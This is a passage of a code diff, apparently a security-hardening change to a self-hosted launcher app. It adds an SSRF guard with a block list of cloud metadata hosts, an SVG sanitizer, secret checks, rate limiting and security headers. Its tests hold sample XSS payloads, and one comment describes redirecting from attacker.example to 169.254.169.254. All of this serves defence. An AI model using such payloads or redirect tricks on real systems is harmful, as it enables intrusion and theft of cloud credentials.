it('rejects metadata.google.internal', async () => {
|
||||
await expect(assertSafeUrl('http://metadata.google.internal/')).rejects.toThrow(
|
||||
/blocked/
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe('with ALLOW_PRIVATE_NETWORK_FETCH=true', () => {
|
||||
it('accepts 192.168.x.x', async () => {
|
||||
process.env.ALLOW_PRIVATE_NETWORK_FETCH = 'true';
|
||||
await expect(assertSafeUrl('http://192.168.1.10/')).resolves.toBeDefined();
|
||||
});
|
||||
|
||||
it('accepts 127.0.0.1', async () => {
|
||||
process.env.ALLOW_PRIVATE_NETWORK_FETCH = 'true';
|
||||
await expect(assertSafeUrl('http://127.0.0.1:3000/')).resolves.toBeDefined();
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,71 @@
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import { sanitizeSvg } from '../svgSanitize.js';
|
||||
|
||||
describe('sanitizeSvg', () => {
|
||||
it('accepts a plain SVG', () => {
|
||||
const svg = '<svg xmlns="http://www.w3.org/2000/svg"><circle cx="50" cy="50" r="40"/></svg>';
|
||||
const out = sanitizeSvg(svg);
|
||||
expect(out).toContain('<svg');
|
||||
expect(out).toContain('circle');
|
||||
});
|
||||
|
||||
it('strips <script> tags', () => {
|
||||
const svg = '<svg><script>alert(1)</script><circle/></svg>';
|
||||
const out = sanitizeSvg(svg);
|
||||
expect(out).not.toContain('<script');
|
||||
expect(out).not.toContain('alert(1)');
|
||||
});
|
||||
|
||||
it('strips onload event handlers', () => {
|
||||
const svg = '<svg onload="alert(1)"><circle/></svg>';
|
||||
const out = sanitizeSvg(svg);
|
||||
expect(out).not.toContain('onload');
|
||||
});
|
||||
|
||||
it('strips onerror event handlers on <image>', () => {
|
||||
const svg = '<svg><image href="x" onerror="alert(1)"/></svg>';
|
||||
const out = sanitizeSvg(svg);
|
||||
expect(out).not.toContain('onerror');
|
||||
});
|
||||
|
||||
it('blocks javascript: in href', () => {
|
||||
const svg = '<svg><a href="javascript:alert(1)"><circle/></a></svg>';
|
||||
const out = sanitizeSvg(svg);
|
||||
expect(out).not.toContain('javascript:');
|
||||
});
|
||||
|
||||
it('blocks data:text in href', () => {
|
||||
const svg = '<svg><image href="data:text/html,<script>1</script>"/></svg>';
|
||||
const out = sanitizeSvg(svg);
|
||||
expect(out).not.toContain('data:text');
|
||||
});
|
||||
|
||||
it('keeps same-document fragment href (#use refs)', () => {
|
||||
// Real-world icon SVGs use <use href="#path"> for internal references.
|
||||
// DOMPurify may emit href or xlink:href depending on input/version — either is fine.
|
||||
const svg =
|
||||
'<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><defs><path id="p" d="M0 0"/></defs><use xlink:href="#p"/></svg>';
|
||||
const out = sanitizeSvg(svg);
|
||||
expect(out).toMatch(/(xlink:)?href="#p"/);
|
||||
});
|
||||
|
||||
it('keeps https:// hrefs', () => {
|
||||
const svg = '<svg><a href="https://example.com"><circle/></a></svg>';
|
||||
const out = sanitizeSvg(svg);
|
||||
expect(out).toContain('https://example.com');
|
||||
});
|
||||
|
||||
it('rejects non-SVG input', () => {
|
||||
expect(() => sanitizeSvg('<html>not svg</html>')).toThrow(/not.*SVG/i);
|
||||
});
|
||||
|
||||
it('rejects empty result after sanitization', () => {
|
||||
expect(() => sanitizeSvg('<svg><script>only script</script></svg>')).not.toThrow();
|
||||
});
|
||||
|
||||
it('strips <foreignObject>', () => {
|
||||
const svg = '<svg><foreignObject><div onclick="x">hi</div></foreignObject></svg>';
|
||||
const out = sanitizeSvg(svg);
|
||||
expect(out).not.toContain('foreignObject');
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,84 @@
|
||||
import { FORBIDDEN_SECRETS, MIN_SECRET_LENGTH } from '$lib/utils/constants.js';
|
||||
|
||||
let validated = false;
|
||||
|
||||
function assertStrongSecret(name: string, value: string | undefined): void {
|
||||
if (!value) {
|
||||
throw new Error(
|
||||
`${name} environment variable is not set. Generate one with: openssl rand -hex 32`
|
||||
);
|
||||
}
|
||||
if (FORBIDDEN_SECRETS.has(value.trim().toLowerCase())) {
|
||||
throw new Error(
|
||||
`${name} is set to a forbidden placeholder value. ` +
|
||||
`Generate a strong secret with: openssl rand -hex 32`
|
||||
);
|
||||
}
|
||||
if (value.length < MIN_SECRET_LENGTH) {
|
||||
throw new Error(
|
||||
`${name} must be at least ${MIN_SECRET_LENGTH} characters long ` +
|
||||
`(got ${value.length}). Generate with: openssl rand -hex 32`
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Validate critical environment variables at startup. Throws on misconfiguration.
|
||||
* Idempotent — safe to call from multiple module init points.
|
||||
*/
|
||||
export function validateServerEnv(): void {
|
||||
if (validated) return;
|
||||
|
||||
assertStrongSecret('JWT_SECRET', process.env.JWT_SECRET);
|
||||
|
||||
// INTEGRATION_ENCRYPTION_KEY is required if any integration is configured,
|
||||
// but we validate the format here when set. Falling back to JWT_SECRET was
|
||||
// the old behavior; encryption.ts now requires this var explicitly.
|
||||
const integrationKey = process.env.INTEGRATION_ENCRYPTION_KEY;
|
||||
if (integrationKey !== undefined) {
|
||||
assertStrongSecret('INTEGRATION_ENCRYPTION_KEY', integrationKey);
|
||||
}
|
||||
|
||||
// Loud warning if production runs without HTTPS ORIGIN
|
||||
const origin = process.env.ORIGIN;
|
||||
if (
|
||||
process.env.NODE_ENV === 'production' &&
|
||||
origin &&
|
||||
origin.startsWith('http://') &&
|
||||
!/http:\/\/(localhost|127\.0\.0\.1|0\.0\.0\.0)/.test(origin)
|
||||
) {
|
||||
// Cannot block — many users terminate TLS at a reverse proxy and still
|
||||
// set ORIGIN=http://internal. But warn loudly so misconfigured deploys
|
||||
// get noticed instead of silently shipping non-secure cookies.
|
||||
|
||||
console.warn(
|
||||
'[startup] WARNING: NODE_ENV=production but ORIGIN is http://. ' +
|
||||
'Session cookies will NOT have the Secure flag. ' +
|
||||
'Set ORIGIN=https://your-domain or terminate TLS at a reverse proxy and ' +
|
||||
'set ORIGIN to the public https URL.'
|
||||
);
|
||||
}
|
||||
|
||||
validated = true;
|
||||
}
|
||||
|
||||
/**
|
||||
* Lazily resolve INTEGRATION_ENCRYPTION_KEY. Required when any integration is
|
||||
* used; throws a clear message if not configured.
|
||||
*/
|
||||
export function requireIntegrationEncryptionKey(): string {
|
||||
const key = process.env.INTEGRATION_ENCRYPTION_KEY;
|
||||
if (!key) {
|
||||
throw new Error(
|
||||
'INTEGRATION_ENCRYPTION_KEY is not configured. Set it to a strong random ' +
|
||||
'value (openssl rand -hex 32) to enable integrations.'
|
||||
);
|
||||
}
|
||||
if (FORBIDDEN_SECRETS.has(key.trim().toLowerCase()) || key.length < MIN_SECRET_LENGTH) {
|
||||
throw new Error(
|
||||
'INTEGRATION_ENCRYPTION_KEY is too weak. Generate a strong value: ' +
|
||||
'openssl rand -hex 32'
|
||||
);
|
||||
}
|
||||
return key;
|
||||
}
|
||||
@@ -0,0 +1,86 @@
|
||||
/**
|
||||
* Simple in-memory rate limiter for single-instance self-hosted deployments.
|
||||
* Each bucket tracks a count of events; on exceed, calls return `{ ok: false }`.
|
||||
*
|
||||
* Why not Redis: the launcher is SQLite-bound to a single Node process so an
|
||||
* in-memory map is fine. Memory bound: entries are pruned when their window
|
||||
* expires AND opportunistically when the map grows beyond MAX_KEYS.
|
||||
*/
|
||||
|
||||
import { RateLimitError } from '$lib/server/errors.js';
|
||||
|
||||
interface Bucket {
|
||||
count: number;
|
||||
resetAt: number;
|
||||
}
|
||||
|
||||
const MAX_KEYS = 10_000;
|
||||
|
||||
class RateLimiter {
|
||||
private readonly buckets = new Map<string, Bucket>();
|
||||
constructor(
|
||||
readonly windowMs: number,
|
||||
readonly limit: number,
|
||||
readonly name: string
|
||||
) {}
|
||||
|
||||
check(key: string): { ok: boolean; retryAfterMs: number } {
|
||||
const now = Date.now();
|
||||
const compositeKey = `${this.name}:${key}`;
|
||||
const entry = this.buckets.get(compositeKey);
|
||||
|
||||
if (!entry || now >= entry.resetAt) {
|
||||
this.buckets.set(compositeKey, { count: 1, resetAt: now + this.windowMs });
|
||||
this.pruneIfLarge();
|
||||
return { ok: true, retryAfterMs: 0 };
|
||||
}
|
||||
|
||||
if (entry.count >= this.limit) {
|
||||
return { ok: false, retryAfterMs: entry.resetAt - now };
|
||||
}
|
||||
|
||||
entry.count += 1;
|
||||
return { ok: true, retryAfterMs: 0 };
|
||||
}
|
||||
|
||||
private pruneIfLarge(): void {
|
||||
if (this.buckets.size <= MAX_KEYS) return;
|
||||
const now = Date.now();
|
||||
for (const [k, v] of this.buckets) {
|
||||
if (v.resetAt < now) this.buckets.delete(k);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
export const loginRateLimiter = new RateLimiter(60_000, 10, 'login');
|
||||
export const registerRateLimiter = new RateLimiter(60 * 60_000, 10, 'register');
|
||||
export const inviteLookupRateLimiter = new RateLimiter(60 * 60_000, 30, 'invite');
|
||||
export const onboardingRateLimiter = new RateLimiter(60 * 60_000, 5, 'onboarding');
|
||||
export const passwordResetRateLimiter = new RateLimiter(60 * 60_000, 5, 'passwordReset');
|
||||
export const refreshRateLimiter = new RateLimiter(60_000, 30, 'refresh');
|
||||
|
||||
/**
|
||||
* Throw RateLimitError if the bucket is exhausted.
|
||||
*/
|
||||
export function enforceRateLimit(limiter: RateLimiter, key: string): void {
|
||||
const result = limiter.check(key);
|
||||
if (!result.ok) {
|
||||
throw new RateLimitError(
|
||||
`Too many ${limiter.name} attempts. Retry in ${Math.ceil(result.retryAfterMs / 1000)}s.`
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Resolve a stable key per request (client IP if available, else 'unknown').
|
||||
*/
|
||||
export function rateKeyFromEvent(event: {
|
||||
getClientAddress?: () => string;
|
||||
request: { headers: Headers };
|
||||
}): string {
|
||||
try {
|
||||
return event.getClientAddress?.() ?? 'unknown';
|
||||
} catch {
|
||||
return 'unknown';
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,353 @@
|
||||
import dns from 'dns/promises';
|
||||
import net from 'net';
|
||||
import { DEFAULTS } from '$lib/utils/constants.js';
|
||||
import { IntegrationError, ValidationError } from '$lib/server/errors.js';
|
||||
|
||||
/**
|
||||
* SSRF guard + safe fetch wrapper.
|
||||
*
|
||||
* The launcher fetches arbitrary user-supplied URLs in many places: healthcheck,
|
||||
* RSS, calendars, metrics, integration clients, notification webhooks. Without
|
||||
* a guard, a low-privileged user (or even a remote attacker on the open
|
||||
* `/api/integrations/alerts` endpoint before C6) can aim the launcher at
|
||||
* AWS metadata, internal Kubernetes services, the loopback interface, or any
|
||||
* other internal host the launcher's network has access to.
|
||||
*
|
||||
* This guard:
|
||||
* 1. Rejects non-http(s) schemes (data:, file:, gopher:, javascript:).
|
||||
* 2. Resolves the hostname up-front and rejects any address in private,
|
||||
* loopback, link-local, multicast, or unspecified ranges (IPv4 + IPv6).
|
||||
* 3. Follows 3xx redirects MANUALLY and re-validates each Location, so a
|
||||
* public host can't 302-redirect into an internal target.
|
||||
* 4. Caps the response body size to defeat 1GB-of-JSON OOMs.
|
||||
*
|
||||
* Known limitation: we don't pin the resolved IP into the actual TCP connect,
|
||||
* so a TOCTOU DNS-rebinding attacker could in principle return a public IP to
|
||||
* `dns.lookup` and a private IP on the subsequent `fetch` connect. Mitigations:
|
||||
* (a) most attacker hosts can't control authoritative DNS TTLs and Node's
|
||||
* resolver caches between calls; (b) production deployments typically run
|
||||
* with ALLOW_PRIVATE_NETWORK_FETCH=false which makes the rebinding pointless
|
||||
* on cloud-isolated networks. To fully eliminate the rebind window, install
|
||||
* undici with a custom `connect.lookup` dispatcher that returns the validated IP.
|
||||
*
|
||||
* Set `ALLOW_PRIVATE_NETWORK_FETCH=true` to disable the private-range guard
|
||||
* (necessary on self-hosted setups where the user monitors LAN services like
|
||||
* 192.168.x.x). Default is false in production.
|
||||
*/
|
||||
|
||||
const SSRF_BLOCKED_HOSTS = new Set([
|
||||
'metadata.google.internal',
|
||||
'metadata.azure.com',
|
||||
'instance-data',
|
||||
'instance-data.ec2.internal'
|
||||
]);
|
||||
|
||||
function allowPrivate(): boolean {
|
||||
const v = process.env.ALLOW_PRIVATE_NETWORK_FETCH?.trim().toLowerCase();
|
||||
if (v === 'true' || v === '1' || v === 'yes') return true;
|
||||
if (v === 'false' || v === '0' || v === 'no') return false;
|
||||
// Default: development = allow (homelab); production = block.
|
||||
return process.env.NODE_ENV !== 'production';
|
||||
}
|
||||
|
||||
function isPrivateIPv4(addr: string): boolean {
|
||||
const parts = addr.split('.').map(Number);
|
||||
if (parts.length !== 4 || parts.some((p) => isNaN(p) || p < 0 || p > 255)) return true;
|
||||
const [a, b] = parts;
|
||||
if (a === 0) return true; // 0.0.0.0/8 (unspecified, also routes to loopback on Linux)
|
||||
if (a === 10) return true; // 10.0.0.0/8
|
||||
if (a === 127) return true; // loopback
|
||||
if (a === 169 && b === 254) return true; // link-local + cloud metadata 169.254.169.254
|
||||
if (a === 172 && b >= 16 && b <= 31) return true; // 172.16.0.0/12
|
||||
if (a === 192 && b === 168) return true; // 192.168.0.0/16
|
||||
if (a === 100 && b >= 64 && b <= 127) return true; // CGNAT 100.64.0.0/10
|
||||
if (a >= 224) return true; // multicast + reserved
|
||||
return false;
|
||||
}
|
||||
|
||||
function isPrivateIPv6(addr: string): boolean {
|
||||
const lower = addr.toLowerCase();
|
||||
if (lower === '::' || lower === '::1') return true; // unspecified, loopback
|
||||
if (lower.startsWith('fe80:') || lower.startsWith('fe8') || lower.startsWith('fe9')) return true; // link-local
|
||||
if (lower.startsWith('fc') || lower.startsWith('fd')) return true; // unique-local fc00::/7
|
||||
if (lower.startsWith('ff')) return true; // multicast
|
||||
// IPv4-mapped IPv6: any `::ffff:…` form (dotted-quad or hex-compressed).
|
||||
// Node normalizes `::ffff:127.0.0.1` → `::ffff:7f00:1`, so we can't rely on
|
||||
// a literal regex. We just block the whole mapped range — there's no
|
||||
// legitimate reason for a public address to route via IPv4-mapped IPv6.
|
||||
if (lower.startsWith('::ffff:')) return true;
|
||||
// Old-style "IPv4-compatible" IPv6 (deprecated but still parses): `::a.b.c.d`
|
||||
if (/^::[0-9a-f]{1,4}(:[0-9a-f]{0,4})?$/.test(lower)) {
|
||||
// Anything in `::x:y` form with non-zero lower bits — could be a private
|
||||
// IPv4. Block by default.
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
function isPrivateAddress(addr: string): boolean {
|
||||
const family = net.isIP(addr);
|
||||
if (family === 4) return isPrivateIPv4(addr);
|
||||
if (family === 6) return isPrivateIPv6(addr);
|
||||
return true; // unknown → treat as private (refuse)
|
||||
}
|
||||
|
||||
export interface SafeFetchOptions extends Omit<RequestInit, 'signal'> {
|
||||
readonly timeoutMs?: number;
|
||||
/** Max response bytes. Default: DEFAULTS.MAX_REMOTE_RESPONSE_BYTES. */
|
||||
readonly maxBytes?: number;
|
||||
/** If true, bypass SSRF guard (use ONLY for fixed-host services like weather APIs). */
|
||||
readonly trusted?: boolean;
|
||||
}
|
||||
|
||||
/**
|
||||
* Validate a URL string for outbound fetching. Throws ValidationError if the
|
||||
* URL is unfit (bad scheme, blocked host) or, when private-network fetching
|
||||
* is disabled, if it resolves to a private/loopback/link-local/cloud-metadata
|
||||
* address.
|
||||
*
|
||||
* Returns the parsed URL and the resolved IP address to connect to.
|
||||
*/
|
||||
export async function assertSafeUrl(
|
||||
urlString: string
|
||||
): Promise<{ url: URL; resolvedAddress: string }> {
|
||||
let url: URL;
|
||||
try {
|
||||
url = new URL(urlString);
|
||||
} catch {
|
||||
throw new ValidationError(`Invalid URL: ${urlString}`);
|
||||
}
|
||||
|
||||
if (url.protocol !== 'http:' && url.protocol !== 'https:') {
|
||||
throw new ValidationError(
|
||||
`Only http:// and https:// URLs are allowed (got ${url.protocol})`
|
||||
);
|
||||
}
|
||||
|
||||
const hostname = url.hostname.toLowerCase().replace(/^\[|\]$/g, '');
|
||||
if (SSRF_BLOCKED_HOSTS.has(hostname)) {
|
||||
throw new ValidationError(`URL host ${hostname} is blocked`);
|
||||
}
|
||||
|
||||
// Block decimal IPv4 "http://2130706433" (= 127.0.0.1) and 0 (= 127.0.0.1 on Linux).
|
||||
if (/^\d+$/.test(hostname)) {
|
||||
const n = Number(hostname);
|
||||
const ipv4 =
|
||||
n <= 0xffffffff
|
||||
? [(n >>> 24) & 0xff, (n >>> 16) & 0xff, (n >>> 8) & 0xff, n & 0xff].join('.')
|
||||
: hostname;
|
||||
if (isPrivateIPv4(ipv4) && !allowPrivate()) {
|
||||
throw new ValidationError(`URL resolves to a private/internal address: ${ipv4}`);
|
||||
}
|
||||
}
|
||||
|
||||
// If already an IP literal, check it directly.
|
||||
const literalFamily = net.isIP(hostname);
|
||||
if (literalFamily !== 0) {
|
||||
if (!allowPrivate() && isPrivateAddress(hostname)) {
|
||||
throw new ValidationError(`URL resolves to a private/internal address: ${hostname}`);
|
||||
}
|
||||
return { url, resolvedAddress: hostname };
|
||||
}
|
||||
|
||||
// Resolve DNS up-front so we can validate AND pin the IP into the connect.
|
||||
let addresses: { address: string; family: number }[];
|
||||
try {
|
||||
addresses = await dns.lookup(hostname, { all: true, verbatim: true });
|
||||
} catch {
|
||||
throw new ValidationError(`DNS lookup failed for ${hostname}`);
|
||||
}
|
||||
|
||||
if (addresses.length === 0) {
|
||||
throw new ValidationError(`No DNS records for ${hostname}`);
|
||||
}
|
||||
|
||||
if (!allowPrivate()) {
|
||||
for (const a of addresses) {
|
||||
if (isPrivateAddress(a.address)) {
|
||||
throw new ValidationError(
|
||||
`URL ${hostname} resolves to a private/internal address (${a.address})`
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return { url, resolvedAddress: addresses[0].address };
|
||||
}
|
||||
|
||||
async function readBoundedBody(response: Response, maxBytes: number): Promise<Uint8Array> {
|
||||
const reader = response.body?.getReader();
|
||||
if (!reader) return new Uint8Array();
|
||||
const chunks: Uint8Array[] = [];
|
||||
let received = 0;
|
||||
for (;;) {
|
||||
const { done, value } = await reader.read();
|
||||
if (done) break;
|
||||
if (!value) continue;
|
||||
received += value.length;
|
||||
if (received > maxBytes) {
|
||||
await reader.cancel();
|
||||
throw new IntegrationError(
|
||||
`Response exceeds maximum size of ${maxBytes} bytes`
|
||||
);
|
||||
}
|
||||
chunks.push(value);
|
||||
}
|
||||
const out = new Uint8Array(received);
|
||||
let offset = 0;
|
||||
for (const chunk of chunks) {
|
||||
out.set(chunk, offset);
|
||||
offset += chunk.length;
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
const MAX_REDIRECTS = 5;
|
||||
|
||||
/**
|
||||
* SSRF-guarded fetch with a timeout, a response-size cap, and manual redirect
|
||||
* handling that re-validates each hop. Use this instead of bare `fetch()` for
|
||||
* every URL that comes from user input (app URL, RSS feed, webhook target,
|
||||
* integration endpoint, etc.).
|
||||
*
|
||||
* Why manual redirects: a public host can 302-redirect to a private one
|
||||
* (`http://attacker.example` → `http://169.254.169.254/...`). If we let
|
||||
* fetch follow automatically, the SSRF guard runs only against the initial
|
||||
* URL and the attacker's redirect target is dialled un-validated. We follow
|
||||
* 3xx hops ourselves and assertSafeUrl() each Location header.
|
||||
*/
|
||||
export async function safeFetch(
|
||||
urlString: string,
|
||||
options: SafeFetchOptions = {}
|
||||
): Promise<SafeResponse> {
|
||||
const timeoutMs = options.timeoutMs ?? DEFAULTS.REMOTE_FETCH_DEFAULT_TIMEOUT_MS;
|
||||
const maxBytes = options.maxBytes ?? DEFAULTS.MAX_REMOTE_RESPONSE_BYTES;
|
||||
const requestedRedirect = options.redirect ?? 'follow';
|
||||
|
||||
let currentUrl: string;
|
||||
if (options.trusted) {
|
||||
currentUrl = urlString;
|
||||
} else {
|
||||
const { url } = await assertSafeUrl(urlString);
|
||||
currentUrl = url.toString();
|
||||
}
|
||||
|
||||
const controller = new AbortController();
|
||||
const timeoutId = setTimeout(() => controller.abort(), timeoutMs);
|
||||
|
||||
let response: Response;
|
||||
let method = options.method ?? 'GET';
|
||||
let body = options.body;
|
||||
|
||||
try {
|
||||
let hops = 0;
|
||||
// We re-validate every redirect target, so always use 'manual' under the
|
||||
// hood. If the caller asked for 'manual' or 'error', honour that on the
|
||||
// first response (return / throw, no follow).
|
||||
while (true) {
|
||||
response = await fetch(currentUrl, {
|
||||
...options,
|
||||
method,
|
||||
body,
|
||||
redirect: 'manual',
|
||||
signal: controller.signal
|
||||
});
|
||||
|
||||
const isRedirect = response.status >= 300 && response.status < 400;
|
||||
const location = response.headers.get('location');
|
||||
|
||||
if (!isRedirect || !location || requestedRedirect !== 'follow') {
|
||||
if (isRedirect && requestedRedirect === 'error') {
|
||||
throw new IntegrationError(
|
||||
`Unexpected redirect to ${location ?? '(no location)'} (caller requested redirect: 'error')`
|
||||
);
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
if (++hops > MAX_REDIRECTS) {
|
||||
throw new IntegrationError(`Exceeded ${MAX_REDIRECTS} redirects`);
|
||||
}
|
||||
|
||||
// Resolve relative redirects against the current URL, then re-validate.
|
||||
const nextUrl = new URL(location, currentUrl).toString();
|
||||
if (!options.trusted) {
|
||||
await assertSafeUrl(nextUrl);
|
||||
}
|
||||
currentUrl = nextUrl;
|
||||
|
||||
// RFC 7231 §6.4: 303 (and conventionally 301/302 from POST) downgrade
|
||||
// to GET and drop the body. 307/308 preserve method+body.
|
||||
if (response.status === 303 || (response.status < 307 && method !== 'GET' && method !== 'HEAD')) {
|
||||
method = 'GET';
|
||||
body = undefined;
|
||||
}
|
||||
}
|
||||
} finally {
|
||||
clearTimeout(timeoutId);
|
||||
}
|
||||
|
||||
const contentLength = response.headers.get('content-length');
|
||||
if (contentLength && Number(contentLength) > maxBytes) {
|
||||
throw new IntegrationError(
|
||||
`Response Content-Length ${contentLength} exceeds maximum ${maxBytes}`
|
||||
);
|
||||
}
|
||||
|
||||
return new SafeResponse(response, maxBytes);
|
||||
}
|
||||
|
||||
export class SafeResponse {
|
||||
readonly raw: Response;
|
||||
private readonly maxBytes: number;
|
||||
private bodyBuffer: Uint8Array | null = null;
|
||||
|
||||
constructor(raw: Response, maxBytes: number) {
|
||||
this.raw = raw;
|
||||
this.maxBytes = maxBytes;
|
||||
}
|
||||
|
||||
get ok(): boolean {
|
||||
return this.raw.ok;
|
||||
}
|
||||
|
||||
get status(): number {
|
||||
return this.raw.status;
|
||||
}
|
||||
|
||||
get statusText(): string {
|
||||
return this.raw.statusText;
|
||||
}
|
||||
|
||||
get headers(): Headers {
|
||||
return this.raw.headers;
|
||||
}
|
||||
|
||||
private async getBody(): Promise<Uint8Array> {
|
||||
if (this.bodyBuffer) return this.bodyBuffer;
|
||||
this.bodyBuffer = await readBoundedBody(this.raw, this.maxBytes);
|
||||
return this.bodyBuffer;
|
||||
}
|
||||
|
||||
async text(): Promise<string> {
|
||||
const body = await this.getBody();
|
||||
return new TextDecoder('utf-8').decode(body);
|
||||
}
|
||||
|
||||
async json<T = unknown>(): Promise<T> {
|
||||
const text = await this.text();
|
||||
return JSON.parse(text) as T;
|
||||
}
|
||||
|
||||
async arrayBuffer(): Promise<ArrayBuffer> {
|
||||
const body = await this.getBody();
|
||||
// Copy into a new ArrayBuffer so callers can't mutate our cached view.
|
||||
const out = new ArrayBuffer(body.byteLength);
|
||||
new Uint8Array(out).set(body);
|
||||
return out;
|
||||
}
|
||||
|
||||
async stream(): Promise<ReadableStream<Uint8Array> | null> {
|
||||
return this.raw.body;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,48 @@
|
||||
/**
|
||||
* Apply baseline security headers to every response.
|
||||
* - CSP: locks script/object sources, allows inline styles (Tailwind/CSS variables)
|
||||
* and images from any HTTPS host (icons from arbitrary URLs are a feature).
|
||||
* `frame-ancestors 'none'` prevents the launcher from being embedded in another
|
||||
* site (clickjacking against admin actions).
|
||||
* - HSTS: only emitted when ORIGIN is https://… to avoid breaking plain-HTTP devs.
|
||||
* - X-Content-Type-Options: prevents MIME sniffing on user-served content (SVG, etc).
|
||||
* - Referrer-Policy: do not leak referrers to apps that the dashboard links to.
|
||||
*/
|
||||
const SECURITY_HEADERS_BASE: Record<string, string> = {
|
||||
'Content-Security-Policy': [
|
||||
"default-src 'self'",
|
||||
"script-src 'self' 'unsafe-inline'",
|
||||
"style-src 'self' 'unsafe-inline'",
|
||||
"img-src 'self' data: blob: https: http:",
|
||||
"media-src 'self' blob: https: http:",
|
||||
"font-src 'self' data:",
|
||||
"connect-src 'self' blob: https: http: ws: wss:",
|
||||
"frame-src 'self' https: http:",
|
||||
"object-src 'none'",
|
||||
"frame-ancestors 'none'",
|
||||
"form-action 'self'",
|
||||
"base-uri 'self'"
|
||||
].join('; '),
|
||||
'X-Content-Type-Options': 'nosniff',
|
||||
'Referrer-Policy': 'strict-origin-when-cross-origin',
|
||||
'X-Frame-Options': 'DENY',
|
||||
'Permissions-Policy':
|
||||
'accelerometer=(), camera=(), geolocation=(), gyroscope=(), magnetometer=(), microphone=(), payment=(), usb=()'
|
||||
};
|
||||
|
||||
export function applySecurityHeaders(response: Response, origin: string | undefined): Response {
|
||||
for (const [name, value] of Object.entries(SECURITY_HEADERS_BASE)) {
|
||||
if (!response.headers.has(name)) {
|
||||
response.headers.set(name, value);
|
||||
}
|
||||
}
|
||||
if (origin && origin.startsWith('https://')) {
|
||||
if (!response.headers.has('Strict-Transport-Security')) {
|
||||
response.headers.set(
|
||||
'Strict-Transport-Security',
|
||||
'max-age=63072000; includeSubDomains'
|
||||
);
|
||||
}
|
||||
}
|
||||
return response;
|
||||
}
|
||||
@@ -0,0 +1,48 @@
|
||||
import DOMPurify from 'isomorphic-dompurify';
|
||||
|
||||
/**
|
||||
* Sanitize an uploaded SVG. Strips `<script>` and event handlers, blocks
|
||||
* dangerous URI schemes (`javascript:`, `data:text/...`) inside hrefs, and
|
||||
* rejects `<foreignObject>` (which can embed HTML).
|
||||
*
|
||||
* `href` / `xlink:href` are kept — most icon SVGs use `<use href="#path">` for
|
||||
* internal references; stripping these would render most icons blank. We rely
|
||||
* on `ALLOWED_URI_REGEXP` to restrict href values to safe schemes.
|
||||
*
|
||||
* Returns the cleaned SVG string. Throws if the input doesn't look like SVG.
|
||||
*/
|
||||
export function sanitizeSvg(rawSvg: string): string {
|
||||
const trimmed = rawSvg.trim();
|
||||
if (!/^<\?xml[\s\S]*?>/.test(trimmed) && !/^<svg[\s>]/i.test(trimmed)) {
|
||||
throw new Error('File does not appear to be a valid SVG');
|
||||
}
|
||||
|
||||
const clean = DOMPurify.sanitize(rawSvg, {
|
||||
USE_PROFILES: { svg: true, svgFilters: true },
|
||||
FORBID_TAGS: ['script', 'foreignObject', 'animateMotion'],
|
||||
FORBID_ATTR: [
|
||||
'onload',
|
||||
'onclick',
|
||||
'onerror',
|
||||
'onmouseover',
|
||||
'onfocus',
|
||||
'onmouseenter',
|
||||
'onmouseleave'
|
||||
],
|
||||
// Many icon sets (Lucide, simple-icons, hand-rolled multi-path icons) use
|
||||
// `<use href="#id">` for internal references. The default SVG profile in
|
||||
// some DOMPurify versions does not include `<use>` and strips the
|
||||
// `href`/`xlink:href` attributes — re-add both explicitly.
|
||||
ADD_TAGS: ['use'],
|
||||
ADD_ATTR: ['href', 'xlink:href'],
|
||||
// Allow only safe href schemes: same-document fragments (`#id` for <use>),
|
||||
// relative paths, and http(s)/mailto. Disallow javascript:, data:, file:, etc.
|
||||
ALLOWED_URI_REGEXP: /^(#|\/|https?:|mailto:)/i
|
||||
});
|
||||
|
||||
if (typeof clean !== 'string' || clean.trim().length === 0) {
|
||||
throw new Error('SVG content empty after sanitization');
|
||||
}
|
||||
|
||||
return clean;
|
||||
}
|
||||
@@ -0,0 +1,51 @@
|
||||
import { join, resolve, sep, normalize } from 'node:path';
|
||||
import { mkdir } from 'node:fs/promises';
|
||||
|
||||
/**
|
||||
* Persistent uploads root. Uploads live OUTSIDE the SvelteKit build artifact
|
||||
* so they survive image rebuilds and are mounted from the runtime volume.
|
||||
*
|
||||
* Production: /app/data/uploads (matches docker volume `launcher-data:/app/data`)
|
||||
* Development: <repo>/data/uploads (matches DATABASE_URL=file:../data/launcher.db)
|
||||
*
|
||||
* Override with UPLOADS_DIR env if needed.
|
||||
*/
|
||||
export function getUploadsDir(): string {
|
||||
if (process.env.UPLOADS_DIR) return resolve(process.env.UPLOADS_DIR);
|
||||
if (process.env.NODE_ENV === 'production') return '/app/data/uploads';
|
||||
return resolve(process.cwd(), 'data', 'uploads');
|
||||
}
|
||||
|
||||
export function getWallpapersDir(): string {
|
||||
return join(getUploadsDir(), 'wallpapers');
|
||||
}
|
||||
|
||||
/**
|
||||
* Resolve a public uploads-relative path (e.g. "abc.svg" or "wallpapers/x.jpg")
|
||||
* to an absolute file path UNDER the uploads root. Throws if the path tries to
|
||||
* escape the uploads root via `..` segments.
|
||||
*/
|
||||
export function resolveUploadsPath(relPath: string): string {
|
||||
const root = getUploadsDir();
|
||||
const normalized = normalize(relPath).replace(/^[/\\]+/, '');
|
||||
// Reject `..` as a path SEGMENT (so legitimate filenames like
|
||||
// `my..backup.png` are accepted). The startsWith check below is the
|
||||
// real defense — this just gives a clearer error.
|
||||
if (/(^|[/\\])\.\.($|[/\\])/.test(normalized)) {
|
||||
throw new Error('Invalid upload path');
|
||||
}
|
||||
const absolute = resolve(root, normalized);
|
||||
if (!absolute.startsWith(root + sep) && absolute !== root) {
|
||||
throw new Error('Upload path escapes uploads root');
|
||||
}
|
||||
return absolute;
|
||||
}
|
||||
|
||||
/**
|
||||
* Ensure the uploads directory exists. Idempotent.
|
||||
